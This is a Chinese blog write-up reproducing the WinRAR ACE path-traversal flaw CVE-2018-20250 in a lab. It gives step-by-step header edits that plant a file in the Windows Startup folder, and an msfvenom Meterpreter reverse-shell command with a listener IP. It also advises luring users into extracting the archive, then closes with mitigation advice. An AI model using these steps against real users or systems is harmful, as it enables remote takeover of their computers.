前言
這漏洞出來幾天了,之前沒怎么關注,但是這兩天發現開始有利用這個漏洞進行挖礦和病毒傳播了,於是想動手復現一波。
WinRAR 代碼執行相關的CVE 編號如下:
CVE-2018-20250,CVE-2018-20251, CVE-2018-20252, CVE-2018-20253
這里我們復現最開始的WinRAR目錄穿越漏洞(CVE-2018-20250)。
漏洞詳情
原理:
WinRAR目錄穿越漏洞(CVE-2018-20250):
該漏洞是由於WinRAR 所使用的一個陳舊的動態鏈接庫UNACEV2.dll所造成的,該動態鏈接庫在2006 年被編譯,沒有任何的基礎保護機制(ASLR,DEP 等)。該動態鏈接庫的作用是處理ACE 格式文件。而在解壓處理過程中存在一處目錄穿越漏洞,允許解壓過程寫入文件至開機啟動項,導致代碼執行。
影響版本:
WinRAR < 5.70 Beta 1
Bandizip < = 6.2.0.0
好壓(2345壓縮) < = 5.9.8.10907
360壓縮 < = 4.0.0.1170
漏洞利用條件:
攻擊不能跨盤符,即受害者進行解壓文件觸發漏洞時,必須在系統盤,且在不知道計算機主機名的情況下,只能在主瀏覽器的默認下載路徑下(C:\Users\Administrator\Downloads)或者桌面進行解壓,或者多猜幾個啟動項路徑。產生漏洞的DLL文件:UNACEV2.DLL,不能識別相對路徑,文件名部分必須為絕對路徑。
以下是幾種機器的開機啟動項路徑,可以看到在個人PC上受用戶名影響,無法猜測到准確的路徑,而服務器上一般不會修改用戶名,所以這個漏洞在服務器上利用度比較高。
Win2003開機啟動項路徑:C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動
Win2008開機啟動項路徑:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win2012開機啟動項路徑:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win7 開機啟動項路徑:C:\Users\用戶\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win10 開機啟動項路徑:C:\Users\用戶\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 本次試驗使用的是Win2008,
漏洞復現
環境工具:
服務器:Win2008 R2
WinRAR 5.60簡體中文版:https://www.rarlab.com/rar/winrar-x64-560sc.exe
Python-3.7.2-amd64.exe:https://www.python.org/ftp/python/3.7.2/python-3.7.2-amd64.exe
010Editor:https://download.sweetscape.com/010EditorWin64Installer901.exe
Wace和模板文件:https://github.com/360-A-Team/CVE-2018-20250
EXP:https://github.com/WyAtu/CVE-2018-20250
漏洞復現:
這里我們寫一個bat,進行彈窗演示:
然后打開WinAce,選中我們創建的文件,右鍵,點擊Add to...
利用WinACE進行壓縮,這里選擇store full path。
生成之后我們利用腳本檢查一下我們生成的文件1.ace的header信息:
這里幾個是我們需要修改的參數。
在010Edit工具中打開剛才生成的1.ace文件,將文件路徑替換為啟動項路徑如下,然后可以看到新的完整的文件路徑長度為93,轉換為16進制后為:5D。
修改完這兩個地方之后點擊保存,接着還需要修改hdr_size。
這三個地方修改完成之后點擊保存。
最后利用acefile.py重新查看文件header信息。修改acefile.py,在3061行處添加以下語句,輸出文件hdr_crc。
print("[+] right_hdr_crc : {} | struct {} ".format(hex(ace_crc16(buf)),struct.pack('<H', ace_crc16(buf)))) print("[*] current_hdr_crc : {} | struct {}".format(hex(hcrc),struct.pack('<H', hcrc)))
可以看到當前的hdr_crc為:16 9A,我們要把它改為E4 A3,保存之后重新查看文件header信息。
修改完成,將文件另存為1.rar。
選擇解壓到當前文件夾或解壓到文件夾1都可以,可以看到bat文件成功解壓到開機啟動項里。
重啟電腦查看效果。
復現成功,自動運行bat文件彈窗。
MSF利用
首先下載EXP:
wget https://github.com/WyAtu/CVE-2018-20250/archive/master.zip
這里我解壓/root/tools目錄下:
然后利用msf生成一個惡意程序,放到該目錄下:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.86.129 lport=4444 -f exe -o /root/tools/CVE-2018-20250-master/test.exe
修改exp.py文件:
將evil_filename改為我們生成的惡意程序。
將py -3 改為python3,修改完成之后保存,運行以下命令:
python3 exp.py
成功生成攻擊文件test.rar,只要誘導用戶下載解壓這個壓縮文件呢,就可得到用戶電腦權限,這里只演示功能,我們用python簡單開啟一個http服務:
python -m SimpleHTTPServer
切換到win2008,也就是我們要攻擊的目標機器。下載test.rar,然后直接在下載目錄解壓(也可選擇在桌面解壓)。
可以看到在系統的啟動路徑下成功解壓出hi.exe文件。接着我們在kali上面開啟監聽,然后重啟win2008。
成功拿到目標機器權限。
漏洞防御
刪除受影響壓縮軟件目錄下UNACEV2.dll文件能有效防御。
升級到最新版本,WinRAR 目前版本是 5.70 Beta 1。
總而言之,該漏洞並沒有那么致命。目標性的打站,得先欺騙下載,並再在未防護的服務器上解壓,企業服務器管理員都很難會這樣做。而且必須得服務器重啟才能生效,不能直接執行腳本。
參考鏈接:
https://blog.csdn.net/qq_29910529/article/details/88069707
https://bbs.pediy.com/thread-249613.htm
https://www.cnblogs.com/backlion/p/10417985.html
https://mp.weixin.qq.com/s/qT-lL-kCDHJKCMCmeQq7Ng
http://www.hetianlab.com/expc.do?ce=7ebc7ed1-ab4b-4eba-9451-02954d9b7b00
笨鳥先飛早入林,笨人勤學早成材。
轉載請注明出處:
撰寫人:fox-yu http://www.cnblogs.com/fox-yu/